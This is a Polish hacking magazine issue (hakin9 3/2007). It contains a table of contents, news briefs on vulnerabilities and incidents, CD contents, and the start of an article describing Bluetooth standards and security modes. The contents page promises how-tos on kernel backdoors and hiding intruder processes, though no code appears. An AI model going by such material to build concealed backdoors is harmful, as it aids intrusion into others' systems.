Hakin9 23 (03 2007) PL

www.hakin9.org

hakin9 Nr 3/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

Przedstawiamy garść najciekawszych wiadomości ze

świata bezpieczeństwa systemów informatycznych.

Zawartość CD –
hakin9.live

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live

Atak

Hakowanie na bluetooth

Ugo Lopez

Bluetooth to technologia, która ma ułatwić komuniko-

wanie się pomiędzy różnego rodzaju sprzętem elek-

tronicznym. Ma także swoje słabe punkty, które są

przedstawione w tym artykule.

Ataki na protokół TCP

z wykorzystaniem ICMP

Marcin Ulikowski

Autor Marcin Ulikowski wyjaśnia na czym polega

atak na protokół TCP z wykorzystaniem komunika-

tów ICMP. Pokazuje jak przeprowadzić atak z wyko-

rzystaniem omawianego protokołu oraz jak zabezpie-

czyć się przed podobnym atakiem.

Wybrane techniki

maskowania swojej obecności

w systemie GNU/Linux

Robert Jaroszuk

Pokazujemy jak stworzyć i napisać backdoor ukryty w

kernelu. Daje wskazówki jak ukryć przed administra-

torem systemu proces, którego nie powinien widzieć,

pliki oraz moduł kernela załadowany przez intruza.

Pasywne rozpoznawanie

systemów operacyjnych

Marcin Ulikowski

Przedstawiamy informacje na czym polega atak na pro-

tokół TCP z wykorzystaniem komunikatów ICMP, w jaki

sposób przeprowadzić atak i jak się przed nim bronić.

Niewidzialne backdoory

Michał Styś

Michał Styś w swoim artykule proponuje jak ukryć

sieciowy backdoor w systemie oraz jak uniezależnić

komunikację z backdoorem od poltyki firewalla zasto-

sowanej na atakowym serwerze.

ddajemy kolejny numer Hakin9 do Państwa rąk.

Mam nadzieję, że i tym razem znajdzie się wiele cie-

kawych artykułów, które nie pozwolą odłożyć nasze-

go czasopisma na zakurzoną półkę z innymi magazynami.

Bluetooth z języka angielskiego oznacza sinozęby lub

błękitny kieł i jest technologią, która powstała w celu lep-

szego komunikowania się pomiędzy różnymi urządzeniami

elektronicznymi typu telefon komórkowy, komputer, laptop,

czy klawiatura. Jest bardzo popularny wśród użytkowni-

ków urządzeń elektronicznych i między innymi dlatego głów-

nym tematem niniejszego numeru jest hakowanie Bluetho-

ot'a. Oprócz tego magazyn zawiera artykuły dotyczące tech-

nik maskowania w systemie GNU/Linux, będzie można się

dowiedzieć czegoś więcej o zabezpieczeniach kont PHP i

wiele więcej potrzebnych informacji osobom zainteresowa-

nym tematyką Hakin9!

Redakcja hakin9

www.hakin9.org

hakin9 Nr 3/2007

hakin9

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Bezpieczeństwo kont PHP

Paweł Maziarz

PHP to język skryptowy, na którym bazują większość

serwisów internetowych. Paweł Maziarz przedstawia

informacje dotyczące możliwości obejścia zabezpie-

czeń PHP oraz na jakie funkcje PHP należy zwrócić

szczególną uwagę w skryptach z różnych źródeł.

Bezpieczeństwo usług WWW

w Windows Longhorn Server

Artur Żarski

Najnowsza wersja systemu operacyjnego Windows

Server, aktualnie pod nazwą kodową Longhorn

będzie dostępna na rynku w listopadzie 2007 roku.

Co prawda do premiery zostało jeszcze dużo czasu,

ale już teraz można przyjrzeć się najnowszej wersji

serwera WWW, czyli IIS7.

Detekcja anomalii ruchu

sieciowego w programie Snort

Maciej Skowroński, Radosław Wężyk, Maciej Szmit

Autorzy pragną, aby czytelnicy dowiedzieli się o pro-

cesorach do Snorta bazujących na detekcji anomalii

i starają się wytłumaczyć jak napisać własny proce-

sor do Snorta.

Księgozbiór

Krystyna Wal, Łukasz Długosz

Recenzujemy książki: Bezpieczeństwo protokołu

TCP/IP kompletny przewodnik, Bezpieczeństwo w

Windows Server 2003 Kompendium

Sprzęt

Dyski twarde

Rafał Podsiadły

Historia pamięci masowych sięga połowy dzie-

więtnastego wieku – już wtedy używano kart per-

forowanych do wprowadzania danych do mecha-

nicznych maszyn liczących. Pierwsze elektronicz-

ne komputery korzystały z pamięci zbudowanej z

lamp elektronowych, potem zaczęły pojawiać się

różne pamięci magnetyczne: bąbelkowe, taśmo-

we, bębnowe.

Zapowiedzi

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu naszego pisma.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Redaktor naczelny: Sylwia Pogroszewska sylwiap@software.com.pl

Redaktor: Martyna Żaczek

Tłumaczenie: Katarzyna Kruś

Wyróżnieni betatesterzy: Michał Gałka, Rafał Rawicki

Opracowanie CD: Wojciech Trynkowski

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Aera artur.wieczorek@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 887 13 45, Fax +48 22 887 10 11

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych

pism prosimy o kontakt:

Monika Godlewska

e-mail: monikag@software.com.pl

tel.: +48 (22) 887 12 66

fax: +48 (22) 887 10 11

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądowa.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

W skrócie

hakin9 Nr 3/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 3/2007

Słaby 2006

Bezpieczeństwo IT w 2006 roku

było bardzo słabe jak donosi raport

znanego serwisu SECUNIA. Można

wyróżnić kilka grup słabości doty-

czących bezpieczeństwa, najwięk-

szą z nich stanowią słabości z

kategorii system access, a drugą

powszechnie znaną są te słabo-

ści dla których nie ma rozwiązań.

Pierwsza grupa charakteryzuje się

tym, iż bezpośrednio pozwalaja na

dostęp do zasobów komputera. Jak

się okazuje nowym trendem wśród

hakerów stał się atak na zasoby

konkretnych komputerów.

Drugą grupą słabości są te dla któ-

rych nie ma łat, a są one powszech-

nie dostępne (tzw. “ 0-day expolits).

Tutaj przewagę mają zagrożenia,

które są związane z oprogramo-

waniem Microsoft Office. Może się

to wydać bardzo groźne w momen-

cie kiedy posiadacz komputera nie

zadbał o odpowiednie bezpieczeń-

stwo swojego sprzętu.

Bardziej zainteresowanych tym

tematem odsyłamy do przeczytania

całego raportu SECUNIA. Można

tam przeczytać o różnych badaniach

prowadzonych przez tą właśnie

firmę, jak i o bezpieczeństwie naj-

ważniejszych aplikacji zainstalowa-

nych na prywatnych komputerach.

Niebezpieczny

Internet Explorer

Amerykańska gazeta The Washing-

ton Post, poinformowała, że Inter-

net Explorer, najpopularniejsza

przeglądarka na świecie była nieza-

bezpieczona przez 284 dni w 2006

roku. Informacje oparte były na

danych przekazanych przez firmę

Microsoft oraz na wywiadach ze

specjalistami ds. Bezpieczeństwa.

78% dni ubiegłego roku użytkow-

nicy IE byli narażeni na niebezpie-

czeństwo. Przez ok. 100 dni jedna

luka była aktywnie wykorzystywa-

na przez hackerów do kradzieży

danych osobowych oraz finanso-

wych. Porównując, główny konku-

rent Internet Explorera – przeglą-

darka Firefox – przez 9 dni miała

poważne problemy z załataniem

dziury. W Sieci, w ubiegłym roku,

pojawiło się kilkanaście informa-

cji, pokazujących, jak wykorzystać

dziury w IE, zanim jeszcze zosta-

ło to naprawione. Przed publika-

cją tych danych, autor Brian Krebs,

pokazał wyniki badań przedstawi-

cielom Microsoftu, a oni nie mieli

wobec nich żadnych zastrzeżeń.

Jak bezpiecznie jest w banku

Bank jest pierwszym w
Polsce wirtualnym bankiem.

Blisko 100 000 osób korzysta z
kart kredytowych tej instytucji. Naj-
ważniejszą kwestią powinno być
bezpieczeństwo środków finanso-
wych ulokowanych na rachunkach.
Jednak ostatnio konta klientów tego
banku zostały zagrożone. Wykry-
to błędy w systemie, które umoż-
liwiają wgląd do informacji doty-
czących danych właściciela konta,
a mianowicie adres zamieszkania,
adres korespondencyjny, e-mail itp.
Osoba niepożądana mogła przej-
rzeć listy przelewów- jak przebie-
gały transakcje i zdobyć informacje
na temat odbiorcy i kwoty. Mogła
mieć wgląd do danych dotyczących
zaciągniętych kredytów oraz kart
kredytowych. Teoretycznie środki
finansowe klientów są bezpieczne
ponieważ każdorazowe dokona-
nie transakcji musi być zatwierdzo-
ne jednorazowym hasłem z karty

kodów. mBank dokłada wszelkich
starań, aby naprawić swój system
i informuje, że zagrożenie doty-
czyło tylko klientów, którzy byli
zalogowani i jednocześnie kliknę-
li na spreparowany link przesła-
ny za pomocą poczty elektronicz-
nej, komunikatorów itp. Sytuacja
ta jest niemożliwa bez aktywnego
udziału zalogowanego użytkowni-
ka co nie pozwala na dokonanie
jakiejkolwiek transakcji, które są
zatwierdzane hasłem jednorazo-
wym TAN lub kodem SMS. Naka-
zuje także swoim klientom korzy-
stającym z Internetu o przestrzega-
nie zasad bezpieczeństwa i zabra-
nia uruchamiać linki przesłane w
e-mailach nieznanego pochodze-
nia. Wszelkie informacje dotyczą-
ce zabezpieczeń klienci mBanku
mogą przeczytać na stronie http:

//www.mbank.com.pl/ w zakładce
bezpieczeństwo.

Łamanie protokołów Bluetooth

dzisiejszych czasach postęp
techniczny idzie szybko na

przód, niedawno niemieccy progra-
miści umożliwili dostęp do dwóch
aplikacji, które pozwolą przejąć kon-
trolę nad urządzeniami, wykorzystu-
jącymi do łączności protokół Blueto-
oth. Narzędzia te mogą wyrządzić
wiele szkód komputerom PC i tele-
fonom komórkowym. Zostały one
przedstawione ma kongresie Chaos

Communications Congres w Berli-
nie.

Tematem kongresu było przed-

stawienie faktu, iż bardzo dużo
firm nie zwraca uwagi na standard
Bluetooth, skupiając się tylko na
zabezpieczeniu tylko sieci bezprze-
wodowych, opartym na popular-
nych protokołach

IEEE 802.11a/b/g

Prezentacji narzędzi dokonał Thier-
ry Zoller.

Istnieje

wiele

przykładów

łamania protokołu Bluetooth np.:
narzędzie HID (Human Interfa-
ce Device). Daje ono możliwość
kontroli nad klawiaturą, działającą
poprzez BT exploit, co pozwala na
zdobycie informacji znajdujących
się w komputerze. Jak twierdzi
odkrywca tej luki – Collin Mulliner
HID attack jest bardzo trudny do
wykrycia a nawet niemożliwy, jest
to spowodowane brakiem wspar-
cia trybu serwerowego przez pro-
dukty HID.

Rysunek

Bluetooth

W skrócie

hakin9 Nr 3/2007

www.hakin9.org

W skrócie

www.hakin9.org

hakin9 Nr 3/2007

Kerio WinRoute Firewall

Kerio WinRoute Firewall 6.2.3-

2027-Profesjonalna aplikacja stwo-

rzona dla sieci korporacji, jej naj-

nowsze wydanie chroni przed ata-

kami z zewnątrz oraz wirusami,

ogranicza dostęp do witryn w opar-

ciu o ich zawartość. Główną zaletą

Kerio WinRoute może być obsługi-

wana za pomocą przeglądarki Inter-

net Explorer wersji 7. Jest także

udoskonalony bardziej niż poprzed-

nia jego wersja, a mianowicie lepiej

współpracuje z programami antywi-

rusowymi i usunięto problemy zwią-

zane z konfiguracją sieci.

Aplikacja umożliwia szczegóło-

we definicje reguł do filtrów typu

stateful inspection (dla połączeń

wychodzących i przychodzących),

szybkie dzielenie łącza interne-

towego, zabezpieczenie antywi-

rusowe oraz pełne wsparcie dla

technologii VPN, VoIP oraz UpnP.

Oprócz tego blokuje zagrożone i

niebezpieczne strony interneto-

we. Dodatkowo dodano antywi-

rusowe skanowanie poczty, doło-

żono silnik antyspamowy dla

poczty przychodzącej, bezpośred-

nia wymiana plików (P2P) została

zablokowana, ale dodano możli-

wość powiadamiania przez pocztę

o ważnych zdarzeniach.

Microprocesor CELL

Głównym tematem lutowej konfe-

rencji ISSCC 2007 będzie mikro-

procesor CELL, wytwarzanego w

technologii 65 nm. Został on wypro-

dukowany w technologii 65 nm

CMOS SOI.

Układ wyróżnia się dużą oszczęd-

nością energii elektrycznej, zuży-

wając jedynie 1,3 V.

Częstotliwość taktowania zegara

mikroprocesora CELL wynosi 6

Ghz. Nieoficjalnie mówi się, że

pierwszym urządzeniem w którym

zamieści się chip będzie konsola

Playstation 3 firmy Sony.

Atak na Open Source

aza MySQL projektu Beryl
została wykasowana. Beryl to

projekt, który jest oparty na mena-
dżerze okien Compiz firmy Novell.
Obecnie jest samodzielnym akcele-
ratorem pulpitu. Oferta jest oparta m.
in. na: segregacji okienek i wyświe-
tlanie ich w postaci miniaturek, przy-
bierają one różnorodną animację
oraz wyświetlanie takich efektów
jak pulpit w postaci trójwymiarowej
kostki sześciennej. Ataku dokonał
członek Compiz i stało się to drugie-
go stycznia. Zostały usunięte dane
dotyczące działania strony www pro-
jektu Beryl, blogów programistów
oraz berylowej wiki. Włamywacz

oszczędził jedynie forum projektu.
Jak się okazało atakujący zdobył
dane dostępowe do konta phpMy-
Admin, co prawda były to dość ogra-
niczone uprawnienia, ale zdołał
usunąć tabele.

Złapanie

włamywacza

było

bardzo prostą sprawą ponieważ w
żaden sposób nie ukrył swojego IP.

Co do samego przestępcy nie

podjęto jeszcze żadnych sankcji
prawnych (grozi mu nawet rok wie-
zienia), a sam zainteresowany przy-
znał się do winy i swój czyn tłumaczy
frustracją.

Wirtualna telewizja

rojekt, który tak hucznie został
ogłoszony na Wirtualnej Polsce

ruszył pełna parą! Chodzi o interne-
tową telewizję, która była testowana
od połowy grudnia, a teraz ruszył już
w oficjalnej wersji. Ogłoszone je naj-

ważniejszym wydarzeniem na pol-
skim rynku internetowym i zaczęło
swoją działalność od uruchomienia
czterech kanałów: biznesowy, infor-
matyczny, rozrywkowy i tu się ucie-
szy męska część społeczeństwa
polskiego- erotyczny.

Internetowa telewizja wirtualnej

polski daje możliwość dobierania
sobie programów według własnych
potrzeb. Obecne cztery kanały to
oczywiście wstęp do tego co dopie-
ro ma nastąpić. W chwili obecnej
każdy z kanałów ma własną ramów-
kę-poszczególne programy są nada-
wane o określonych godzinach.
Telewidz dzięki Archiwum może
korzystać z poszczególnych kana-
łów (Video-on-Demand). Wszystkie
cztery kanały wydają się dość inte-
resujące.

Program

informacyjny-News-

zawiera takie programy jak: Roz-
mowa dnia, w której internauci będą
mogli obejrzeć autorskie wywia-
dy ze znanymi osobami; przegląd
prasy-informacje z najciekawszych
i najbardziej poczytnych polskich

czasopism;komentarz dnia-udzie-
lany przez polityków;orzeł i gwiaz-
dy-wywiady;vip room oraz program
poświęcony sondom ulicznym-hyde-
park.

Drugim kanałem, który będzie

można obejrzeć w wirtualnej
polsce to kanał rozrywka. Zain-
teresowani będą mogli zobaczyć
w nim zapowiedzi filmów i gier,
plotki z życia gwiazd polskich jak
i zagranicznych, teledyski, progra-
my dokumentalne. Będzie także
można ujrzeć Roberta Patoletę w
programie Jazda Niekontrolowa-
na, a także program satyryczny
Kookly-polskie Muppet Show.

Kanał Biznes został stworzo-

ny dzięki współpracy z pierwszą
w Polsce telewizją biznesową TV
Biznes. Będą poruszane tu tematy
związane z giełdą, z rynkiem inwe-
stycyjnym, walutowym, finanso-
wym. Podawane będą informacje
na temat podatków, analiz ekono-
micznych.

Godziny 23.00-6.00 rano wirtual-

na polska przeznaczyła ten czas na
kanał erotyczny. Oczywiście prze-
znaczony on jest głównie dla męskiej
widowni po 18 roku życia. Będzie
można w nim obejrzeć krótkie filmy
erotyczne.

Rysunek

Kerio WinRoute

Firewall

hakin9.live

hakin9 Nr 3/2007

www.hakin9.org

Zawartość CD1

Axigen Mail Server Lite Edition kit

Są to szybkie, niezawodne i bardzo bezpieczne serwery
pocztowe. Pracują one na serwerach Linux: Red Hat,
SuSE, Madrake, Fedora, Ubuntu, Debian, Gentoo oraz
BSD: FreeBSD, OpenBSD, NetBSD. Serwery te mogą
używać wszyscy: od małych przedsiębiorstw po duże.
Do najgłówniejszych cech Axigen Mail Server Lite Edi-
tion kit należą: prosta konfiguracja i elastyczność, modu-
larna architektura (zintegrowane usługi email, niezależne
konfigurowanie oraz wielowątkowe moduły), szybkie wy-
szukiwanie niepożądanych połączeń, ochrona przeciw
atakom, zgodność ze specyfikacjami RFC, równoległe
przetwarzanie i wymiana danych. Podstawowa pomoc
techniczna jest w cenie.

Oleansoft Hidden Camera 250x1

Jest znakomitym programem dla pracodawców, którzy
chcą wiedzieć co ich pracownicy robią podczas ośmio-
godzinnego trybu pracy. Teraz to już jest proste z Ole-
ansoft Hidden Camera 250x1, bo ona może kontrolować
wszystkie komputery jednocześnie, oraz wszystkich
pracowników i ich biura. Najogólniej mówiąc program
pozwala na podgląd wszystkich komputerów przez sieć
lokalną lub Internet. Kontrola ponad 50 komputerów rów-
nocześnie jest już możliwa poprzez zapisywanie zrzutu
ekranu komputera np. co 60 sekund. Każda taka zrzutka
jest zapisywana na komputerze pracodawcy.

Dekart Password Carrier

Automatycznie zbiera, bezpiecznie przechowuje hasła
oraz prywatne detale, które są wpisywane podczas logo-
wania na stronach i używane podczas aplikacji Windows.
Służy także do ochrony przed “phishing'iem” i wykrada-
niem haseł. Funkcja generowania bezpiecznych i trwa-
łych haseł to tylko niektóre z zalet tego programu.

Backup Platininum 3.0

Jest łatwym w użyciu programem do tworzenia kopii
bezpieczeństwa filmów na płytach DVD. Jest wstanie od-
tworzyć całą zawartość krążka-film, zapowiedzi, ścieżki
dźwiękowe oraz napisy. Jest funkcjonalna jak wersja
Gold i prosta jak wersja Express.

Kurs na certyfikat Cisco CCNA cz. II

Certyfikat CCNA przeznaczony jest dla specjalistów
od niewielkich sieci (do 100 stanowisk) i potwierdza
umiejętności w zakresie instalacji i konfiguracji routerów
i przełączników Cisco w sieciach LAN i WAN (popra-
wa wydajności i bezpieczeństwa sieci oraz usuwanie

Zawartość CD

problemów). Kandydat może wybrać dowolny sposób
przygotowania się do egzaminu, w szczególności edu-
kację zdalną. Certyfikatem CCNA kończy się również
czterosemestralny kurs realizowany w ramach programu
Cisco Networking Academy, z którego korzysta obecnie
800 studentów z 19 szkół i uczelni.

Zawartość CD2

Na drugiej płycie znajduje się hakin9.live (h9l) w wersji
3.1-aur – bootowalna dystrybucja Auroxa, zawierająca
przydatne narzędzia, dokumentację, tutoriale i materiały
dodatkowe do artykułów. Aby zacząć pracę z hakin9.live,
wystarczy uruchomić komputer z CD1. Po uruchomieniu
systemu możemy zalogować się jako użytkownik hakin9
bez podawania hasła. Materiały dodatkowe zostały
umieszczone w następujących katalogach:

• tut – 25 tutoriali
• Aurox-Live;
• E-books

Materiały archiwalne zostały umieszczone w podkatalo-
gach _arch. W przypadku przeglądania płyty z poziomu
uruchomionego hakin9.live powyższa struktura jest
dostępna z podkatalogu /mnt/cdrom. Wersję hakin9.live
3.1-aur zbudowaliśmy, opierając się o dystrybucję Aurox
i skrypty automatycznej generacji (www.aurox.org/pl/
live). Narzędzia dystrybucji, które nie znajdują się na do-
łączonej do pisma płycie, instalowane są z repozytorium
Auroxa za pomocą programu yum. W porównaniu z haki-
n9.live 2.9.1-ng zasadniczą zmianą jest oparcie systemu
na dystrybucji Aurox Live 11.1. oraz przejście z Fluxboksa
na środowisko graficzne KDE.

Tutoriale i dokumentacja

W skład dokumentacji, oprócz standardowych dla Linuk-
sa stron pomocy (stron manualna), z których skorzystać
możemy poprzez konsolę wydając polecenie man [na-
zwa programu], wchodzą między innymi tutoriale, przy-
gotowane przez redakcję.

Na CD1 opracowane zostały praktyczne ćwiczenia do

jendego artykułu – Sieci nie lokalne, który można prze-
czytać w piśmie. Zakładamy, że podczas wykonywania
ćwiczeń związanych z artykułami i tutorialami, użytkow-
nik korzysta z hakin9.live. Dzięki temu uniknie proble-
mów związanych z różnymi wersjami kompilatorów, inną
lokalizacją plików konfiguracyjnych czy opcjami niezbęd-
nymi do uruchomienia programu w danym środowisku.
hakin9.live został przygotowany pod kątem tych ćwiczeń
i zawiera wszystkie wymagane aplikacje. l

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl

www.hakin9.org

hakin9 Nr 3/2007

Atak

tóż nie pamięta czasów, nie tak znowu
odległych, kiedy to telefon komórkowy
był postrzegany z pewną dozą nieufno-

ści bądź zazdrości? Uznawany pierwotnie bar-
dziej za symbol statusu niż za narzędzie komu-
nikacji, telefon komórkowy stanowi już od dłuż-
szego czasu nieodłączny element codzienne-
go życia każdego z nas.

Technologia Bluetooth, powstała by poko-

nać ograniczenia portów na podczerwień IRDA
(Infra Red Device Adapter) i FastIRDA, gdzie
urządzenia peryferyjne musiały być wzajemnie
widoczne i oferowały niskie prędkości przesy-
łowe, rozwija się ponad wszelkie przewidywa-
nia. Jak w przypadku każdej rzeczy na polu in-
formatycznym, gdy postęp dokonuje się w spo-
sób tak gwałtowny, bezpieczeństwo pozostaje
daleko w tyle. Rzeczywiście, liczne są słabości
obecne w Bluetooth. Lecz po kolei, najpierw
postarajmy się opisać w miarę szczegółowo tę
technologię.

Technologia Bluetooth

Bluetooth powstał w 2003 roku. Z inicjatywy
wielu producentów stanowiących konsorcjum
SIG (Ericsson, Nokia, Microsoft, Intel, Motoro-
la, Apple i innych), Bluetooth jest obecny nie-

malże we wszystkich urządzeniach przeno-
śnych (telefony komórkowe, słuchawki, nawi-
gatory satelitarne, drukarki, itd.). Technologia
ta pozwala tworzyć prawdziwe PAN (Personal
Area Network) w sposób umożliwiający wza-
jemne korzystanie z zasobów pomiędzy urzą-
dzeniami, nie koniecznie jednakowymi, czyniąc
maksymalnie prostym wpółdziałanie z użyt-
kownikiem.

Aktualnie istnieją 2 standardy stosowane w

urządzeniach peryferyjnych obecnych na ryn-
ku:

Hakowanie Bluetooth

Ugo Lopez

stopień trudności

Bluetooth jest technologią, która powstała by ułatwić nasze

zdolności komunikowania się. Okazał się jednak także

technologią nadającą się do kradzieży danych. W tym artykule

przedstawimy Wam jak wykorzystać jego słabe punkty.

Z artykułu dowiesz się...

• jakie są słabe punkty niektórych urządzeń Blu-

etooth i jak je wykorzystać.

Co powinieneś wiedzieć...

• znajomość na poziomie użytkownika systemów

Windows,

• znajomość na poziomie użytkownika systemów

Linux, zastosowanie powłoki shell,

• znajomość na poziomie użytkownika zaawan-

sowanego mobilnych urządzeń Bluetooth.

Hakowanie Bluetooth

hakin9 Nr 3/2007

www.hakin9.org

• Core Specification 1.2 – 5 listo-

pada 2003,

• Core Specification 2.0 + EDR

– 15 października 2004.

Oprócz nich istnieją również standar-
dy już zaniechane. A dokładniej:

Bluetooth 1.0 i 1.0B: wersje 1.0 i

1.0B nęka wiele problemów, przede
wszystkim związanych ze współdzia-
łaniem produktów odmiennych kon-
struktorów. Pomiędzy tymi dwoma
standardami dokonano zmian w pro-
cesie weryfikacji adresu fizycznego
przypisanego każdemu urządzeniu:
stara metoda uniemożliwiła pozosta-
wanie anonimowym podczas komu-
nikacji, stąd jakiś złośliwy użytkow-
nik wyposażony w skaner częstotliwo-
ści mógł przechwycić ewentualne po-
ufne informacje. Wersja B przyniosła
także zmiany związane z obsługą śro-
dowiska Bluetooth usprawniając moż-
liwość współdziałania,

Bluetooth 1.1: naprawia wiele błę-

dów, które pojawiły się w wersji 1.0B.
Pozwala na komunikację przy wyko-
rzystaniu kanałów niekodowanych.

Obecnie standard 1.2, kompaty-

bilny z wersją 1.1, przewiduje: Ada-

ptive Frequency Hopping (AFH): ta
technika zapewnia większą odpor-
ność na interferencje elektromagne-
tyczne, gdyż unika stosowania kana-
łów podatnych na silne interferen-
cje, zwiększa szybkość transmisji,

extended Synchronous Connections
(eSCO): oferuje tryb transmisji audio
wysokiej jakości, przesyłając ponow-
nie dane w razie ich utraty. Został
także wprowadzony czujnik jakości
sygnału. Posiada interfejs pozwala-
jący na obsługę aż trzech UART
(standard symulujący obecność po-
łączenia kablowego) i na dostęp do
informacji związanych z synchroni-
zacją transmisji Bluetooth.

Natomiast standard 2.0, kompa-

tybilny ze wszystkimi wcześniejszy-

mi standardami, zapewnia następu-
jące usprawnienia: z motywów bez-
pieczeństwa unika przeskakiwania
pomiędzy kanałami. Bezpieczeń-
stwo zostaje zapewnione poprzez
algorytmy kryptograficzne, obsługu-
je zarówno multicast jak i broadcast,
zwiększa szybkość transmisji do 2,1
Mbit/s (3 we wspomnianej wcze-
śniej wersji z 15 października 2004),
wprowadza usługę obsługi jakości.
Wprowadza także protokół umożli-
wiający dostęp do urządzeń współ-
dzielonych, redukuje zauważalnie
czasy odpowiedzi i zmniejsza o po-
łowę wykorzystywaną moc.

Jest już w fazie przygotowania no-

wa wersja Bluetooth (o nazwie Lis-

bon) przewidująca: Atomic Encryption

Chance: okresowa zmiana hasła dla
połączeń kodowanych, Extended In-

quiry Response: dostarcza więcej in-
formacji o urządzeniach usiłujących
ustanowić połączenie, faworyzując
tym samym filtering urządzeń niepew-
nych, Sniff Subrating: system redukcji
zużycia w stanie sniffingu, poprawa

QoS (Quality of Service), Simple Pa-

iring: poprawa kontroli strumieni bitów
poprzez mechanizmy parowania.

Istnieje także kolejna wersja (o

nazwie Seattle) przewidująca wpro-
wadzenie jako znaczącą innowację

Ultra Wide Band (UWB), co pozwoli
na znaczące zwiększenie prędkości.

Wreszcie, urządzenia Bluetooth

można podzielić na 3 klasy (zobacz
Tabela 1).

W celu zapoznania się z innymi

szczegółami tych standardów moż-
na odwiedzić oficjalną stronę po-
święconą technologii Bluetooth i
ściągnąć dokumenty specyfikacji
(http://www.Bluetooth.com).

Rzućmy teraz okiem jak funkcjo-

nuje, zgrubsza, stos protokołów Blu-
etooth (Rys. 1)

W gruncie rzeczy możemy wy-

różnić w nim dwie części:

• Host protocols: implementowane

na poziomie oprogramowania ko-
munikują się, poprzez API, z apli-
kacjami; obsługują funkcje wyż-
szego poziomu,

• Controller protocols: obsługują

moduł radiowy.

Oba składniki komunikują się ze sobą
poprzez HCI (Host Controller Interfa-
ce), który jest odpowiedzialny za de-
finiowanie zbioru wiadomości i zbioru
sposobów ich transportowania.

Teraz przyjrzyjmy się bardziej

szczegółowo stosowi protokołów
(Rys. 2).

Jest to schemat ostateczny stosu

protokołów. W celu zapewnienia wy-
miany z innymi protokołami jego za-
sadniczymi składnikami są:

• L2CAP (Logical Link Control and

Adaptation Protocol): kapsuł-
kuje pakiety i zapewnia mecha-
nizm abstrakcyjny przypominają-
cy koncepcję portów w TCP/IP,

• SDP (Service Discovery Proto-

col): upublicznia usługi oferowa-
ne przez poszczególne urządze-
nia i wyszukuje usługi oferowane
przez urządzenia z którymi chce
się komunikować.

Spróbujmy teraz zaprezentować dia-
gram funkcjonalny protokołu Blueto-
oth (Rys. 3).

W skrócie, można wyróżnić nastę-

pujące stany: Standby: oczekiwanie na
połączenie, Inquiry: wykrywanie urzą-
dzeń znajdujących się w pobliżu, Page:
próba połączenia z urządzeniem, Con-

nected: urządzenie aktywne w sieci,

Transmit data: dane w trakcie transmi-
sji, Park/Hold: tryb niskiego zużycia.

Miejmy w pamięci ten diagram

funkcjonalny, ponieważ przyda się
nam do zrozumienia niektórych ty-
pów ataków.

Zasady bezpieczeństwa

Rzuciwszy okiem na specyfikacje
można zauważyć, że te przewidują
trzy rodzaje (nie)bezpieczeństwa:

• mode 1: brak bezpieczeństwa,
• mode 2: ochrona na poziomie

usługa/aplikacja,

Tabela

1. Trzy klasy Bluetooth

Klasa

Moc(mW)

Moc (dBm)

Odległo-

ść(Przybliżona)

Klasa 1

100 mW

20 dBm

~ 100 metrów

Klasa 2

2,5 mW

4 dBm

~ 10 metrów

Klasa 3

1 mW

0 dBm

~ 1 metr

hakin9 Nr 3/2007

www.hakin9.org

Atak

• mode 3: ochrona na poziomie

urządzenia.

Te trzy rodzaje są implementowane
w ramach czterech poziomów: pa-

iring: zostaje aktywowany pomiędzy
dwoma urządzeniami, które chcą ak-
tywować procedury bezpieczeństwa
i kontaktują się pomiędzy sobą po
raz pierwszy; w praktyce, użytkow-
nik wprowadza pin (identyczny) na
obu urządzeniach, a z kolei każde z
nich generuje pseudolosową liczbę;
w tym momencie otrzymuje się sha-

red secret (sekret współdzielony),
który jest wykorzystywany do komu-
nikacji, autentyfikacja: tzw. mecha-
nizm challenge (wyzwanie); w prak-
tyce bazuje na liczbie pseudolosowej
(challenge) i na shared secret, kody-

fikacja: ma miejsce, ewentualnie, po
autentyfikacji, autoryzacja: określa
czy żądanie urządzenia ma zostać
zaspokojone czy też nie; każda apli-
kacja może posiadać listę urządzeń,
które mogą mieć do niej dostęp (tru-

sted device), jeśli dane urządzenie
nie znajduje się na tej liście wymaga-
ne jest potwierdzenie ze strony użyt-
kownika.

W ramach tych poziomów stoso-

wanych jest pięć głównych elemen-
